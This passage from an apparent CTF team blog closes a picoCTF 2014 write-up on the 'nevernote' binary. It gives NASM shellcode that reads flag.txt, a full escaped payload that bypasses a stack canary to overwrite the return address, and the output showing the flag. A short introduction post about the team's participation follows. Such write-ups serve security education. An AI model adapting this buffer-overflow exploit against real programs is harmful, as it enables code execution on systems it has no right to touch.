<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> [BITS 32]
start:
mov ebp, 0xffffd454
xor eax, eax
mov al, 5
lea ebx, [ebp + 0x2d]
xor edx, edx
mov [ebp + 0x35], dl
xor ecx, ecx
int 0x80
mov ebx, eax
xor eax, eax
mov al, 3
lea ecx, [ebp + 0x38]
xor edx, edx
mov dl, 36
int 0x80
xor eax, eax
mov al, 4
xor ebx, ebx
inc ebx
int 0x80
filename db "flag.txta"
data:
</code></pre>
<br />
<br />
If we assemble this into a binary (you'll need NASM, since I use that syntax), disassemble it, and put all the bytes together with escape codes, we can now insert this shellcode into our buffer. We also need to pad it to 512 bytes, which we'll just do with 0xebfe. Then we have the canary bypass and the address of our buffer, which will alter the return address.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> pico59150@shell:/home/nevernote$ { echo "george"; sleep 1; echo "a"; sleep 1; echo -n -e "\xbd\x54\xd4\xf
f\xff\x31\xc0\xb0\x05\x8d\x5d\x2d\x31\xd2\x88\x55\x35\x31\xc9\xcd\x80\x89\xc3\x31\xc0\xb0\x03\x8d\x4d\x38
\x31\xd2\xb2\x30\xcd\x80\x31\xc0\xb0\x04\x31\xdb\x43\xcd\x80\x66\x6c\x61\x67\x2e\x74\x78\x74\x61\xeb\xfe\
xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x
eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xe
b\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb
\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\
xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\x
fe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xf
e\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe
\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\
xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x
eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xe
b\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb
\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\
xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\x
fe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xf
e\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe
\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\
xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x
eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe/hom\x08\xc0\x04\x08\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xf
f\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff"; } | ./nevernote
Please enter your name: Enter a command: Write your note: the_hairy_canary_fairy_is_still_very_wary
ëþëþëþBuffer overflow detected! Exiting.
pico59150@shell:/home/nevernote$
</code></pre>
<br />
The program does crash, but we get the flag printed out before that. The flag, <b>the_hairy_canary_fairy_is_still_very_wary</b>, concludes the challenge, netting us 180 points!Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-1645045780017662151.post-86467315534761753802014-11-13T18:54:00.000-03:002016-04-03T00:26:37.862-04:00picoCTF 2014: Introduction<span style="background-color: white; color: #666666; font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13px; line-height: 18.4799995422363px;">This fall, I participated in </span><a href="https://picoctf.com/" style="background-color: white; color: #888888; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 18.4799995422363px;">picoCTF</a><span style="background-color: white; color: #666666; font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13px; line-height: 18.4799995422363px;"> with four friends. picoCTF is a <a href="https://ctftime.org/ctf-wtf/">CTF</a> targeted towards middle and high school students, with questions ranging from easy to challenging. It covers a variety of topics in computer security, including binary exploitation, web exploitation, reverse engineering, cryptography, and forensics. picoCTF is organized by two student-run organizations at </span><a href="http://www.cmu.edu/index.shtml" style="background-color: white; color: #888888; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 18.4799995422363px;">Carnegie Mellon University</a><span style="background-color: white; color: #666666; font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13px; line-height: 18.4799995422363px;">, the </span><a href="http://ppp.cylab.cmu.edu/wordpress/" style="background-color: white; color: #888888; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 18.4799995422363px;">Plaid Parliament of Pwning (PPP)</a><span style="background-color: white; color: #666666; font-family: "trebuchet ms" , "trebuchet" , "verdana" , sans-serif; font-size: 13px; line-height: 18.4799995422363px;"> and Team Daedalus. Thanks to both of them for organizing an amazing competition!</span><br />
<div style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 18.4799995422363px;">
<br /></div>
<div style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 18.4799995422363px;">
Despite it being our first time ever participating in a CTF, we did quite well, getting 7th place in the nation out of over 3000 teams. In the end, we solved all but two master challenges. Now that picoCTF is over, we'll be posting write-ups of problem solutions. I personally focused on binary exploitation and reverse engineering, so those will probably be done first. My teammates will contribute write-ups for the problems they solved. Expect to see them here soon!</div>
Unknownnoreply@blogger.com0